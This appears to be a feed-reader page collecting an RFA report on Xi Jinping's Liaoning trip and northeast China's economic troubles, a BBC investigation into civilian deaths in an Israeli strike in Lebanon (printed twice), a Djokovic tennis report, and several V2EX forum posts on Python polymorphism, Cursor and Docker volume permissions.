Reading view

There are new articles available, click to refresh the page.

习近平赴辽宁调研 镜头外的东北陷经济困境

中共总书记习近平在农历新年前赴东北辽宁考察,官媒塑造出张灯结彩、深受爱戴的景象。不过,分析指出,东北三省老工业城人口出走、经济放缓,已陷入贫穷的困境。

23日,习近平赴辽宁省沈阳市,考察沈阳大东副食品商场和大东区长安街道长安小区,从央视的画面中,呈现出一副张灯结彩年节气氛,官媒称,习近平要了解当地节日期间市场供应、群众生活保障等。

前一日,习近平则是到辽宁省葫芦岛市绥中县明水满族乡祝家沟村看望慰问受灾群众,察看去年洪涝灾害后当地恢复重建情况。葫芦岛在去年八月遭遇破纪录的豪雨袭击,数十人遇难失联,灾损超过人民币百亿元。

水患迟来的慰问

时事评论人士陈破空接受本台访问时表示,习近平以慰问去年的洪灾受灾民众为名,访问辽宁葫芦岛。洪灾已经过去半年多,灾后重建工作几乎结束。从画面看来,现场布置和群众互动看来更像是精心策划的“群众戏剧”。

“东北现在是中国最贫困的区域,东北很多抱怨认为习近平上台以来,并未在财政挹注东北,忽视东北老工业城,东北全面地垮塌、工业产值持续下降、人口严重流失到外省去,导致东北人口急剧减少,生育率也降至全国最低,每年下降幅度高达30%。地方财政长期亏损,”他补充说,由于中国中央财政拨款枯竭,东北无法指望实质性的援助,而这次习近平春节前的作秀,到东北去只是起到安慰的作用,试图缓解地方的不满情绪而已,对改善东北经济无法起到实质作用。

东北重工业转型路遥遥

除了葫芦岛、沈阳外,23日上午,习近平还到了辽宁本溪市考察本钢板材冷轧总厂第三冷轧厂,察看企业的生产线,了解企业加快转型升级等情况。

《纽约时报》2023年曾报道东北复兴的难题,指出辽宁在内所在的东北三省是中国重工业的摇篮。现在则面对房地产危机,国民经济放缓。报道指这个地区负债累累。由于房地产泡沫破裂,公共收入正在大幅下降。养老金是由该地区三个省级政府辽宁、吉林和黑龙江负责,其成本正在飙升。将近两年的时间,东北的困境似乎还没找到解方。

“不光是东北,东北只是表现得早一点 ,一开始大家都在笑东北,事实上后来到处都变成了东北,”中国独立金融学者贺江兵对本台表示,东北原来是中国最发达的地方,中国经济都在东北,东北一直都是中国的样板。包括90年代的下岗潮,最早也是在那。一开始大家都在笑东北,后来才发现东北只是比较早经历而已。

贺江兵分析,房地产的用钢量占钢铁产能约40%左右,然而,中国近几年房地产委靡不振,钢铁的需求降低。加上汽车产能过剩,中国试图以汽车行业弥补房地产下行的冲击,但是很难做到。“因为房地产带动的行业更多,全世界钢产量第一是中国,连美国全国都消化不了。东北转型的时机已经错过,现在经济困难时要转型,说来容易,执行非常困难。”

中国多地陷入“鹤岗化”窘境

东北的兴衰,从鹤岗见微知著。综合媒体报道,产煤的鹤岗市政府2019年、2020年连续2年无力偿付的到期政府债务本金及利息,成为中国1949年建国以来,第一个债务违约的地级市(四线城市),鹤岗濒临破产,需要“财政重整”。

鹤岗只是冰山一角,去年9月,媒体报道,中国25个省、95座城市的房价朝“鹤岗化”发展,就连经济发达的京津冀、珠三角、成渝等地也被“鹤岗化”城市包围,房价跌至10几万甚至数万人民币。

贺江兵解读所谓的“鹤岗”化,指出,全境内的许多的县市房价跌成“白菜价”,差不多都“鹤岗化”。过去大家嘲笑鹤岗房子滞销、人员大幅外流,然而,这已经成为全国化现象。从2022年起,中国的国家统计局数据已显示,人口负增长、经济下挫、产业链外移,鹤岗只是最早房地产下跌的地方,现在都一起滑落。“谁也没资格笑鹤岗,房价跌、地卖不出去,地方的财政枯竭,它不是一个鹤岗问题,而是全境的问题。”

陈破空也同样认为目前中国全国多地面临类似鹤岗的财政危机。地方政府过去高度依赖卖地与房地产收入,而如今房地产市场萎缩,土地交易接近枯竭。习近平执政期间对房地产进行的严厉打击,包括限制房价和抑制炒房,导致市场活力大幅下滑。房地产曾经是中国官商阶层、中产阶级唯一存钱保命的重要途径,但政策打压使房地产深受重创。像鹤岗这样的地方既无法从外部获得救援,也无力自救,政府实质破产,只是换个“财政重整”新名词,实际上并未对财政困境起到有效的改善作用。

责编:许书婷 陈美华

© 路透社资料照片

中共总书记习近平在农历新年前赴东北调研,官媒塑造和乐景象。不过分析指出,东北三省老工业城人口出走、经济放缓,已陷入贫穷的困境。

邹幸彤狱中过40岁生日 凭歌寄意:“投降容易老,认命没有种”

因涉《国安法》被控煽动他人颠覆国家政权罪的前支联会副主席邹幸彤,周五(1月24日)在狱中度过40岁生日,也是她在被关押中度过的第4个生日。

本台取得她在狱中发出的生日感言,她表示已收到大家送上的祝福,感谢大家的同时,也向各界送上广东歌《至少做一件离谱的事》作感谢,她引用其中一句歌词:“投降容易老,认命没有种”,勉励她想念或想念她的好友、认识和不认识的战友们。

邹幸彤的未婚夫、维权人士野渡也在邹幸彤生日当天发表《遇见》的一篇文章。他回覆本台查询表示,想用《遇见》表达他与邹幸彤相遇的时代,就像文章所引用的作家身处的专制和黑暗时代。

野渡说,我们遇见不可描述的时代。不管身处什么样的时代,每一个人是以人的姿态站立,还是只是一头类人畜生跪地活着,都有被历史写下判词的时候。他说,无论如何,不要放弃希望,希望邹幸彤能在狱中也能看到他的文章。

责编:陈美华

© 法新社资料照片

2021年6月5日,香港支联会前副主席邹幸彤在交保释放后对媒体发表讲话。

IDF said bombed apartments were Hezbollah base - but most of dead were civilians

BBC Ashraf and Julia both smiling for the camera, with a background of greenery. Ashraf has dark hair and a beard and is wearing a dark shirt, and Julia has lighter brown hair - long and wavy - and has brightly painted lips.
BBC
Ashraf (l) persuaded his sister Julia to join him in the family apartment, which he believed was safe from IDF strikes

Julia Ramadan was terrified - the war between Israel and Hezbollah was escalating and she'd had a nightmare that her family home was being bombed. When she sent her brother a panicked voice note from her apartment in Beirut, he encouraged her to join him in Ain El Delb, a sleepy village in southern Lebanon.

"It's safe here," he reassured her. "Come stay with us until things calm down."

Earlier that month, Israel intensified air campaigns against Hezbollah in Lebanon, in response to escalating rocket attacks by the Iran-backed armed group which had killed civilians, and displaced tens of thousands more from homes in northern Israel.

Ashraf was confident their family's apartment block would be a haven, so Julia joined him. But the next day, on 29 September, it was subject to this conflict's deadliest single Israeli attack. Struck by Israeli missiles, the entire six-storey building collapsed, killing 73 people.

The Israel Defense Forces (IDF) says the building was targeted because it was a Hezbollah "terrorist command centre" and it "eliminated" a Hezbollah commander. It added that "the overwhelming majority" of those killed in the strike were "confirmed to be terror operatives".

But a BBC Eye investigation verified the identity of 68 of the 73 people killed in the attack and uncovered evidence suggesting just six were linked to Hezbollah's military wing. None of those we identified appeared to hold a senior rank. The BBC's World Service also found that the other 62 were civilians - 23 of them children.

Among the dead were babies only a few months old, like Nouh Kobeissi in apartment -2B. In apartment -1C, school teacher Abeer Hallak was killed alongside her husband and three sons. Three floors above, Amal Hakawati died along with three generations of her family - her husband, children and two granddaughters.

A photographic graphic titled: 'Lebanon attack: Fatalities identified by BBC'
It shows three banks of photos: Women, men (including the six we found to be have Hezbollah affiliation) and children. There is a footnote which adds: We identified a further six children (five women, one man) for whom we could not find photos.

Ashraf and Julia had always been close, sharing everything with each other. "She was like a black box, holding all my secrets," he says.

On the afternoon of 29 September, the siblings had just returned home from handing out food to families who had fled the fighting. Hundreds of thousands of people in Lebanon had been displaced by the war.

Ashraf was in the shower, and Julia was sitting in the living room with their father, helping him upload a video to social media. Their mother, Janan, was in the kitchen, clearing up.

Then, without warning, they heard a deafening bang. The entire building shook, and a massive cloud of dust and smoke poured into their apartment.

"I shouted, 'Julia! Julia!,'" says Ashraf.

"She replied, 'I'm here.'

"I looked at my dad, who was struggling to get up from the sofa because of an existing injury to his leg, and saw my mother running toward the front door."

Julia's nightmare was playing out in real life.

"Julia was hyperventilating, crying so hard on the sofa. I was trying to calm her down and told her we needed to get out. Then, there was another attack."

Video footage of the strike, shared online and verified by the BBC, reveals four Israeli missiles flying through the air towards the building. Seconds later, the block collapses.

Watch the moment missiles struck the building, causing it to collapse

Ashraf, along with many others, was trapped under the rubble. He began calling out, but the only voice he could hear was that of his father, who told him he could still hear Julia and that she was alive. Neither of them could hear Ashraf's mother.

Ashraf sent a voice note to friends in the neighbourhood to alert them. The next few hours were agonising. He could hear rescuers sifting through the debris - and residents wailing as they discovered loved ones dead. "I just kept thinking, please, God, not Julia. I can't live this life without Julia."

Ashraf was finally pulled from the rubble hours later, with only minor injuries.

He discovered his mother had been rescued but died in hospital. Julia had suffocated under the rubble. His father later told him Julia's last words were calls for her brother.

Map showing the location of the targeted apartment building - it shows a zoomed in location of where it was within Ain El Delb, and a zoomed out location of Ain El Delb - close to Sidon, and well south of Beirut.

In November, a ceasefire deal was agreed between Israel and Hezbollah with the aim of ending the conflict. The deal gives a 60-day deadline for Israeli forces to withdraw from southern Lebanon and for Hezbollah to withdraw its forces and weapons north of the Litani River. As this 26 January deadline approaches, we sought to find out more about the deadliest single Israeli attack on Lebanon in years.

In the apartment below Julia and Ashraf's, Hawraa and Ali Fares had been hosting family members displaced by the war. Among them was Hawraa's sister Batoul, who, like Julia, had arrived the previous day - with her husband and two young children. They had fled intense bombardment near the Lebanon-Israel border, in areas where Hezbollah has a strong presence.

"We hesitated about where to go," says Batoul. "And then I told my husband, 'Let's go to Ain El Delb. My sister said their building was safe and that they couldn't hear any bombing nearby.'"

Batoul's husband Mohammed Fares was killed in the Ain El Delb attack. A pillar fell on Batoul and her children. She says no-one responded to her calls for help. She finally managed to lift it alone, but her four-year-old daughter Hawraa had been fatally crushed. Miraculously, her baby Malak survived.

Fares family Hawraa, and her cousins Hassan and Hussein, photographed playing together. Hawraa is wearing a pink dress with puff sleeves and a square neck line. Her cousins are both in yellow cartoon dinosaur t-shirts.Fares family
Four-year-old Hawraa with her cousins - all three were killed in the attack

Three floors below Batoul lived Denise and Moheyaldeen Al-Baba. That Sunday, Denise had invited her brother Hisham over for lunch.

The impact of the strike was brutal, says Hisham.

"The second missile slammed me to the floor… the entire wall fell on top of me."

He spent seven hours under the rubble.

"I heard a voice far away. People talking. Screams and… 'Cover her. Remove her. Lift the stone. He's still alive. It's a child. Lift this child.' I mean… Oh my God. I thought to myself, I'm the last one deep underground. No-one will know about me. I will die here."

When Hisham was finally rescued, he found his niece's fiance waiting to hear if she was alive. He lied to him and told him she was fine. They found her body three days later.

Hisham lost four members of his family - his sister, brother-in-law and their two children. He told us he had lost his faith and no longer believes in God.

To find out more about who died, we have analysed Lebanese Health Ministry data, videos, social media posts, as well as speaking to survivors of the attack.

We particularly wanted to interrogate the IDF's response to media - immediately following the attack - that the apartment block had been a Hezbollah command centre. We asked the IDF multiple times what constituted a command centre, but it did not give clarification.

So we began sifting through social media tributes, gravesites, public health records and videos of funerals to determine whether those killed in the attack had any military affiliation with Hezbollah.

We could only find evidence that six of the 68 dead we identified were connected to Hezbollah's military wing.

Hezbollah memorial photos for the six men use the label "Mujahid", meaning "fighter". Senior figures, by contrast, are referred to as "Qaid", meaning "commander" - and we found no such labels used by the group to describe those killed.

We asked the IDF whether the six Hezbollah fighters we identified were the intended targets of the strike. It did not respond to this question.

Graphic showing the Ain El Delb apartment building, highlighting three apartments where our contributors were living or staying: The Ramadan family in Apartment 4A, the Fares family in Apartment 3A and the Al-Baba family in Apartment -1A

One of the Hezbollah fighters we identified was Batoul's husband, Mohammed Fares. Batoul told us that her husband, like many other men in southern Lebanon, was a reservist for the group, though she added that he had never been paid by Hezbollah, held a formal rank, or participated in combat.

Israel sees Hezbollah as one of its main threats and the group is designated a terrorist organisation by Israel, many Western governments and Gulf Arab states.

But alongside its large, well-armed military wing, Hezbollah is also an influential political party, holding seats in Lebanese parliament. In many parts of the country it is woven into the social fabric, providing a network of social services.

In response to our investigation, the IDF stated: "The IDF's strikes on military targets are subject to relevant provisions of international law, including taking feasible precautions, and are carried out after an assessment that the expected collateral damage and civilian casualties are not excessive in relation to the military advantage expected from the strike."

It had earlier also told the BBC it had executed "evacuation procedures" for the strike on Ain El Delb, but everyone we spoke to said they had received no warning.

UN experts have raised concerns about the proportionality and necessity of Israeli air strikes on residential buildings in densely populated areas in Lebanon.

This pattern of targeting entire buildings - resulting in significant civilian casualties - has been a recurring feature of Israel's latest conflict with Hezbollah, which began when the group escalated rocket attacks in response to Israel's war in Gaza.

Between October 2023 and November 2024, Lebanese authorities say more than 3,960 people were killed in Lebanon by Israeli forces, many of them civilians. Over the same time period, Israeli authorities say at least 47 civilians were killed by Hezbollah rockets fired from southern Lebanon. At least 80 Israeli soldiers were also killed fighting in southern Lebanon or as a result of rocket attacks on northern Israel.

The missile strike in Ain El Delb is the deadliest Israeli attack on a building in Lebanon for at least 18 years.

Scarlett Barter / BBC Rubble of the apartment block in the foreground, and in the background a few apartment blocks of various styles, flanking a mosque. A yellow digger picks through the detritus.Scarlett Barter / BBC
Families continued to visit the site of devastation weeks later to rake through the rubble

The village remains haunted by its impact. When we visited, more than a month after the strike, a father continued to visit the site every day, hoping for news of his 11-year-old son, whose body had yet to be found.

Ashraf Ramadan, too, returns to sift through the rubble, searching for what remains of the memories his family built over the two decades they lived there.

He shows me the door of his wardrobe, still adorned with pictures of footballers and pop stars he once admired. Then, he pulls a teddy bear from the debris and tells me it was always on his bed.

"Nothing I find here will make up for the people we lost," he says.

Additional reporting by Scarlett Barter and Jake Tacchi

Injured Djokovic booed off after quitting Melbourne semi-final

Injured Djokovic booed off after quitting Melbourne semi-final

Novak Djokovic reacts to missing a pointImage source, Getty Images
Image caption,

Novak Djokovic was bidding for a standalone all-time record 25th Grand Slam title

  • Published

Novak Djokovic was booed off court by some Australian Open fans after retiring injured from his semi-final against Alexander Zverev.

Djokovic, who was bidding for a record-extending 11th title, quit after losing the first set 7-6 (7-5).

The 37-year-old Serb had his upper left leg heavily taped after injuring it in Tuesday's quarter-final win over Carlos Alcaraz.

"I did everything I possibly could do to manage the muscle tear that I had," said Djokovic, who was also aiming for an all-time standalone record of 25 major titles.

"Towards the end of that first set I just started feeling more and more pain.

"It was too much to handle for me at the moment."

After he slapped a volley into the net on set point, seventh seed Djokovic immediately approached Zverev and shook his hand after 80 minutes of play.

He waved to the crowd and gave them a double thumbs up, despite audible boos from some sections inside Rod Laver Arena.

"I knew even if I won the first set, that it's going to be a huge uphill battle for me to stay physically fit enough to stay with him in the rallies for two, three, four hours," added Djokovic.

"I don't think I had that today in the tank."

German second seed Zverev is still bidding for his first Grand Slam title after twice losing in major finals.

He will face either Italian top seed Jannik Sinner or American 21st seed Ben Shelton in Sunday's final.

'Don't boo a player when they are injured'

From the moment Djokovic lunged for a drop-shot towards the end of the first set against Alcaraz and immediately grimaced to his box, there have been questions over his fitness.

Djokovic, as he has on countless occasions in his stellar career, somehow managed to defy the injury to earn a remarkable win against the 21-year-old.

But doubts remained how equipped he would be to play Zverev.

Djokovic had not practised at Melbourne Park since Tuesday night's victory, cancelling a planned hit on Thursday before spending an hour warming up on court shortly before the semi-final.

Djokovic did not practise between matches during his 2023 title run and later revealed he had a 3cm tear in his hamstring.

He also won the 2021 title despite tearing an abdominal muscle in the third round.

"The very first thing I want to say is, please guys, don't boo when a player is injured," said Zverev, addressing the crowd in his on-court interview.

"I know everyone paid for tickets and wants to see a five-set match but you have to understand Novak Djokovic is someone who has given absolutely everything to tennis.

"He has won this title with an abdominal tear, he has won this title with a hamstring tear.

"If he cannot continue this match, it means he really cannot continue."

The signs that showed Djokovic's struggles

Djokovic looked way below his best from the start of the semi-final.

The former world number one was fortunate not to be punished more by Zverev as he struggled badly with his first serve.

Zverev, playing passively behind the baseline, produced poor errors on the four break points he created in the third game of the match.

Two forehands and a backhand were meekly dumped into the net before he framed a forehand into the front rows of the stand on the fourth.

After three slogs of games spanning 23 minutes, Djokovic had three break points himself at 2-1 but could not take his chances.

Djokovic's service games improved but he had to save another break point at 4-4, and the laboured walks to the chair and anguished facial expressions became more pronounced.

Nevertheless, ending the match early came as a shock to most of the 15,000 crowd on Rod Laver Arena - and Zverev himself.

Asked if he had any indication Djokovic was struggling, Zverev laughed: "No, I actually thought it was a high-level set.

"Of course there were some difficulties and the longer you continue maybe the worse it gets.

"Maybe in the tie-break he was not moving as well, but I thought we had extremely long, physical rallies."

Related topics

IDF said bombed apartments were Hezbollah base - but most of dead were civilians

BBC Ashraf and Julia both smiling for the camera, with a background of greenery. Ashraf has dark hair and a beard and is wearing a dark shirt, and Julia has lighter brown hair - long and wavy - and has brightly painted lips.
BBC
Ashraf (l) persuaded his sister Julia to join him in the family apartment, which he believed was safe from IDF strikes

Julia Ramadan was terrified - the war between Israel and Hezbollah was escalating and she'd had a nightmare that her family home was being bombed. When she sent her brother a panicked voice note from her apartment in Beirut, he encouraged her to join him in Ain El Delb, a sleepy village in southern Lebanon.

"It's safe here," he reassured her. "Come stay with us until things calm down."

Earlier that month, Israel intensified air campaigns against Hezbollah in Lebanon, in response to escalating rocket attacks by the Iran-backed armed group which had killed civilians, and displaced tens of thousands more from homes in northern Israel.

Ashraf was confident their family's apartment block would be a haven, so Julia joined him. But the next day, on 29 September, it was subject to this conflict's deadliest single Israeli attack. Struck by Israeli missiles, the entire six-storey building collapsed, killing 73 people.

The Israel Defense Forces (IDF) says the building was targeted because it was a Hezbollah "terrorist command centre" and it "eliminated" a Hezbollah commander. It added that "the overwhelming majority" of those killed in the strike were "confirmed to be terror operatives".

But a BBC Eye investigation verified the identity of 68 of the 73 people killed in the attack and uncovered evidence suggesting just six were linked to Hezbollah's military wing. None of those we identified appeared to hold a senior rank. The BBC's World Service also found that the other 62 were civilians - 23 of them children.

Among the dead were babies only a few months old, like Nouh Kobeissi in apartment -2B. In apartment -1C, school teacher Abeer Hallak was killed alongside her husband and three sons. Three floors above, Amal Hakawati died along with three generations of her family - her husband, children and two granddaughters.

A photographic graphic titled: 'Lebanon attack: Fatalities identified by BBC'
It shows three banks of photos: Women, men (including the six we found to be have Hezbollah affiliation) and children. There is a footnote which adds: We identified a further six children (five women, one man) for whom we could not find photos.

Ashraf and Julia had always been close, sharing everything with each other. "She was like a black box, holding all my secrets," he says.

On the afternoon of 29 September, the siblings had just returned home from handing out food to families who had fled the fighting. Hundreds of thousands of people in Lebanon had been displaced by the war.

Ashraf was in the shower, and Julia was sitting in the living room with their father, helping him upload a video to social media. Their mother, Janan, was in the kitchen, clearing up.

Then, without warning, they heard a deafening bang. The entire building shook, and a massive cloud of dust and smoke poured into their apartment.

"I shouted, 'Julia! Julia!,'" says Ashraf.

"She replied, 'I'm here.'

"I looked at my dad, who was struggling to get up from the sofa because of an existing injury to his leg, and saw my mother running toward the front door."

Julia's nightmare was playing out in real life.

"Julia was hyperventilating, crying so hard on the sofa. I was trying to calm her down and told her we needed to get out. Then, there was another attack."

Video footage of the strike, shared online and verified by the BBC, reveals four Israeli missiles flying through the air towards the building. Seconds later, the block collapses.

Watch the moment missiles struck the building, causing it to collapse

Ashraf, along with many others, was trapped under the rubble. He began calling out, but the only voice he could hear was that of his father, who told him he could still hear Julia and that she was alive. Neither of them could hear Ashraf's mother.

Ashraf sent a voice note to friends in the neighbourhood to alert them. The next few hours were agonising. He could hear rescuers sifting through the debris - and residents wailing as they discovered loved ones dead. "I just kept thinking, please, God, not Julia. I can't live this life without Julia."

Ashraf was finally pulled from the rubble hours later, with only minor injuries.

He discovered his mother had been rescued but died in hospital. Julia had suffocated under the rubble. His father later told him Julia's last words were calls for her brother.

Map showing the location of the targeted apartment building - it shows a zoomed in location of where it was within Ain El Delb, and a zoomed out location of Ain El Delb - close to Sidon, and well south of Beirut.

In November, a ceasefire deal was agreed between Israel and Hezbollah with the aim of ending the conflict. The deal gives a 60-day deadline for Israeli forces to withdraw from southern Lebanon and for Hezbollah to withdraw its forces and weapons north of the Litani River. As this 26 January deadline approaches, we sought to find out more about the deadliest single Israeli attack on Lebanon in years.

In the apartment below Julia and Ashraf's, Hawraa and Ali Fares had been hosting family members displaced by the war. Among them was Hawraa's sister Batoul, who, like Julia, had arrived the previous day - with her husband and two young children. They had fled intense bombardment near the Lebanon-Israel border, in areas where Hezbollah has a strong presence.

"We hesitated about where to go," says Batoul. "And then I told my husband, 'Let's go to Ain El Delb. My sister said their building was safe and that they couldn't hear any bombing nearby.'"

Batoul's husband Mohammed Fares was killed in the Ain El Delb attack. A pillar fell on Batoul and her children. She says no-one responded to her calls for help. She finally managed to lift it alone, but her four-year-old daughter Hawraa had been fatally crushed. Miraculously, her baby Malak survived.

Fares family Hawraa, and her cousins Hassan and Hussein, photographed playing together. Hawraa is wearing a pink dress with puff sleeves and a square neck line. Her cousins are both in yellow cartoon dinosaur t-shirts.Fares family
Four-year-old Hawraa with her cousins - all three were killed in the attack

Three floors below Batoul lived Denise and Moheyaldeen Al-Baba. That Sunday, Denise had invited her brother Hisham over for lunch.

The impact of the strike was brutal, says Hisham.

"The second missile slammed me to the floor… the entire wall fell on top of me."

He spent seven hours under the rubble.

"I heard a voice far away. People talking. Screams and… 'Cover her. Remove her. Lift the stone. He's still alive. It's a child. Lift this child.' I mean… Oh my God. I thought to myself, I'm the last one deep underground. No-one will know about me. I will die here."

When Hisham was finally rescued, he found his niece's fiance waiting to hear if she was alive. He lied to him and told him she was fine. They found her body three days later.

Hisham lost four members of his family - his sister, brother-in-law and their two children. He told us he had lost his faith and no longer believes in God.

To find out more about who died, we have analysed Lebanese Health Ministry data, videos, social media posts, as well as speaking to survivors of the attack.

We particularly wanted to interrogate the IDF's response to media - immediately following the attack - that the apartment block had been a Hezbollah command centre. We asked the IDF multiple times what constituted a command centre, but it did not give clarification.

So we began sifting through social media tributes, gravesites, public health records and videos of funerals to determine whether those killed in the attack had any military affiliation with Hezbollah.

We could only find evidence that six of the 68 dead we identified were connected to Hezbollah's military wing.

Hezbollah memorial photos for the six men use the label "Mujahid", meaning "fighter". Senior figures, by contrast, are referred to as "Qaid", meaning "commander" - and we found no such labels used by the group to describe those killed.

We asked the IDF whether the six Hezbollah fighters we identified were the intended targets of the strike. It did not respond to this question.

Graphic showing the Ain El Delb apartment building, highlighting three apartments where our contributors were living or staying: The Ramadan family in Apartment 4A, the Fares family in Apartment 3A and the Al-Baba family in Apartment -1A

One of the Hezbollah fighters we identified was Batoul's husband, Mohammed Fares. Batoul told us that her husband, like many other men in southern Lebanon, was a reservist for the group, though she added that he had never been paid by Hezbollah, held a formal rank, or participated in combat.

Israel sees Hezbollah as one of its main threats and the group is designated a terrorist organisation by Israel, many Western governments and Gulf Arab states.

But alongside its large, well-armed military wing, Hezbollah is also an influential political party, holding seats in Lebanese parliament. In many parts of the country it is woven into the social fabric, providing a network of social services.

In response to our investigation, the IDF stated: "The IDF's strikes on military targets are subject to relevant provisions of international law, including taking feasible precautions, and are carried out after an assessment that the expected collateral damage and civilian casualties are not excessive in relation to the military advantage expected from the strike."

It had earlier also told the BBC it had executed "evacuation procedures" for the strike on Ain El Delb, but everyone we spoke to said they had received no warning.

UN experts have raised concerns about the proportionality and necessity of Israeli air strikes on residential buildings in densely populated areas in Lebanon.

This pattern of targeting entire buildings - resulting in significant civilian casualties - has been a recurring feature of Israel's latest conflict with Hezbollah, which began when the group escalated rocket attacks in response to Israel's war in Gaza.

Between October 2023 and November 2024, Lebanese authorities say more than 3,960 people were killed in Lebanon by Israeli forces, many of them civilians. Over the same time period, Israeli authorities say at least 47 civilians were killed by Hezbollah rockets fired from southern Lebanon. At least 80 Israeli soldiers were also killed fighting in southern Lebanon or as a result of rocket attacks on northern Israel.

The missile strike in Ain El Delb is the deadliest Israeli attack on a building in Lebanon for at least 18 years.

Scarlett Barter / BBC Rubble of the apartment block in the foreground, and in the background a few apartment blocks of various styles, flanking a mosque. A yellow digger picks through the detritus.Scarlett Barter / BBC
Families continued to visit the site of devastation weeks later to rake through the rubble

The village remains haunted by its impact. When we visited, more than a month after the strike, a father continued to visit the site every day, hoping for news of his 11-year-old son, whose body had yet to be found.

Ashraf Ramadan, too, returns to sift through the rubble, searching for what remains of the memories his family built over the two decades they lived there.

He shows me the door of his wardrobe, still adorned with pictures of footballers and pop stars he once admired. Then, he pulls a teddy bear from the debris and tells me it was always on his bed.

"Nothing I find here will make up for the people we lost," he says.

Additional reporting by Scarlett Barter and Jake Tacchi

应如何定义"分享创造"

jqknono:

本站看到有人对分享的理解是:

你看到了某个好用的软件,分享给别人,不涉及任何的个人利益(包括无 aff )

对创造的理解是:

我自己造了款软件,开源,不获利,顺手给大家用

以我对人性的浅显理解, 天下本无事, 无利不起早.

[创造推广] : 自卖自夸+软文+引流+恰饭

按这样理解, Product Hunt 得天天被拉出来批斗.

另外开源库是否都纯免费, 是否毫无获利? 我贡献了十次有效 PR, 按工时算有几千块. 更不用说还有更多的 issues, 原本应该是测试的活, 无偿替开源库干了, 算不算开源库的获利?

如果是分享自己的产品, 成本主要在开发, 主要从产品获利.
如果是分享他人作品, 通常是做个人 IP, 念项目 readme 跑 demo, 成本通常在文案撰写和视频制作上, 以商单和私货获利.

不接受自推荐, 但接受个人 IP 或自来水的推荐, 那么怎么分辨是否商单, 还是不管三七二十一先@Livid 了再说?

设身处地的想, 可能是认为纯推广的信息墙太高, 通常主要在介绍它的产品, 或者只介绍优势而不介绍劣势, 容易引人误判, 而网络服务总有替代品, 我们希望能有更全面的对比, 也就是做横评, 而不是单品测评.

我的 saas 服务被两个用户推过, 都是真正的三者视角, 典型特征是文章里很多内容都是其它东西. 一位是做个人 IP, 每几天发一个网络产品的评测, 一篇文章发很多平台. 该用户是真金白银的买付费服务, 然后各种网络工具狂测, 我的服务在他的评测里赢了, 最后留做了日常服务. 该个人 IP 引的流(根据时间推测)下手就是年费, 非常高质量, 文章的效果比我自己推的效果好非常多, 猜测很可能是因为该文章有横评.
另一位是纯自来水, 只在知乎活动, 长文主要介绍自己的网络折腾史, 顺嘴提了下我的, 是真正的纯分享, 但文章本质是一篇流水账日记, 未引到多少流.

我是不喜欢个人 IP 的, 尤其是发现文章看到一半要买课, 相信会有人会赞同技术产品的官文文档是最好的, 但也会有人学习技术的方式是找老师找课, 个人 IP 可能有一天也会开始卖课, 真的有很多人喜欢听课, 而不喜欢 search && sort, 不喜欢看 doc, 更不用说看 issues 了, 没有人会说这个项目很有想象力, 只要解决剩下的 2k issues 就可以开赚.

结合个人经验, 与其区分[创造推广][纯分享](技术大善人)板块, 不如加个[产品横评]板块, 流量高, 可能也不会太招反感. 不知大家觉得如何?

另外, 技术长文难写, 单品就不容易写, 横评更不容易, 费时费力还得真的动脑子, 横评标准总被各路智者挑战. 质疑"变量控制", 质疑"室温变化, 网络波动", 要补全程 4k 录像, 质疑动机, 质疑利益相关, 要自证清白, 最后的最后回到一开始所说, 空手套白狼, 庸人自扰之.

《 Python 工匠》中多态的使用有一些疑惑

shinonome:

文中给了一个案例

class FancyLogger:
    """日志类:支持向文件、Redis 、ES 等服务输出日志"""

    _redis_max_length = 1024

    def __init__(self, output_type=OutputType.FILE):
        self.output_type = output_type
        ...

    def log(self, message):
        """打印日志"""
        if self.output_type == OutputType.FILE:
            ...
        elif self.output_type == OutputType.REDIS:
            ...
        elif self.output_type == OutputType.ES:
            ...
        else:
            raise TypeError('output type invalid')

    def pre_process(self, message):
        """预处理日志"""
        # Redis 对日志最大长度有限制,需要进行裁剪
        if self.output_type == OutputType.REDIS:
            return message[:self._redis_max_length]

FancyLogger 类在日志输出类型不同时,需要有不同的行为。因此,我们完全可以为“输出日志”行为建模一个新的类型:LogWriter ,然后把每个类型的不同逻辑封装到各自的 Writer 类中。

class FileWriter:
    def write(self, message):
        ...
        

class RedisWriter:
    max_length = 1024

    def write(self, message):
        message = self._pre_process(message)
        ...

    def _pre_process(self, message):
        """Redis 对日志最大长度有限制,需要进行裁剪"""
        return message[:self.max_length]


class EsWriter:
    def write(self, message):
        ...

基于这些不同的 Writer 类,FancyLogger 可以简化成下面这样:

class FancyLogger:
    """日志类:支持向文件、Redis 、ES 等服务输出日志"""

    def __init__(self, output_writer=None):
        self._writer = output_writer or FileWriter()
        ...

    def log(self, message):
        self._writer.write(message)

文中对这样的写法好处解释为 代码利用多态特性,完全消除了原来的条件判断语句。另外你会发现,新代码的扩展性也远比旧代码好。

但是在我看来, 你要传什么 output_writer 不还是要通过 if 来选择吗, 只是把一个地方的 if 换到了另外一个地方,

扩展性 这个模块看起来确实好了, 但是总感觉和上面一样, 这里提高了, 但是其他地方就要更多 if, TVT, 面向对象还是没有入门

如何做个梦

AS4694lAS4808:

这一年每天都是睡着以后一睁眼就天亮了,完全没有做梦的体验,感觉睡觉的时间都浪费了,也没有在梦里想干什么就干什么的快乐了。。

求问干什么能开始做梦?

Cursor 既然如此高效, 未来会对行业有怎样的影响?

vincentWdp:

在 v 站看到不少人用 cursor 实现了他们的各种想法, 用几天甚至半天就可以完成一个产品的初版上线.

我自己 cursor 用下来, 也确实少了很多体力劳动, 切身感受到了生产力革新. 省下来的时间可以研究更有意思的事情上了.

所以, 未来几年(也许三四年), 需要编程的工作会变成啥样? 靠代码完成的产品又会变成啥样?

将来有想法而且可以实现的人越来越多, 对云计算的需求也会更大, 这方面的事情又将会是什么样的景象?

cursor 官网崩了

mumbler: 早上还可以用,突然不能工作了,登录看会员掉了,淘宝买了个也不能用,问了几个淘宝卖家都说没货了,再登录 503 了

[unavailable] HTTP 503

docker 卷权限问题请教

FaiChou:
services:
  app:
    build: .
    ports:
      - "3210:3210"
    env_file:
      - .env
    volumes:
      - ./prisma:/app/prisma
      - ./logs:/app/logs

项目中有这样的一个 docker-compose 文件,在 Docker 内会对这个 prisma 和 logs 进行读写。

正常来讲不使用 root 用户 pull 下来这个项目,然后就不会遇到权限问题。

但是如果是用 root 进行 git pull ,然后两个目录的组和用户都变成 root 了,这会导致 Docker 内读写这两个目录有权限问题。即使在 Dockerfile 内创建响应的用户和组,加上 777 权限也不行,因为它是外部的卷。无法更改权限。

所以这种应该怎么处理?

macmini 外接显示器黑屏有人遇到过吗?

cjban: 主机:m4 mac mini
链接方式:typec
